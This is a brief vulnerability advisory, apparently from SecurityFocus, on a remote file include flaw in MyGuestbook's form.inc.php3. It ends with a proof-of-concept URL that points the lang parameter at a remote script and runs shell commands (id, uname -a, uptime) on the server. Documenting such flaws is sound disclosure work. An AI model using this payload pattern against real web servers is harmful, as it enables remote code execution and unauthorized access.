source: https://www.securityfocus.com/bid/14155/info

MyGuestbook is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/gb/form.inc.php3?lang=http://www.example.com/cmd.gif?&cmd=id;uname%20-a;uptime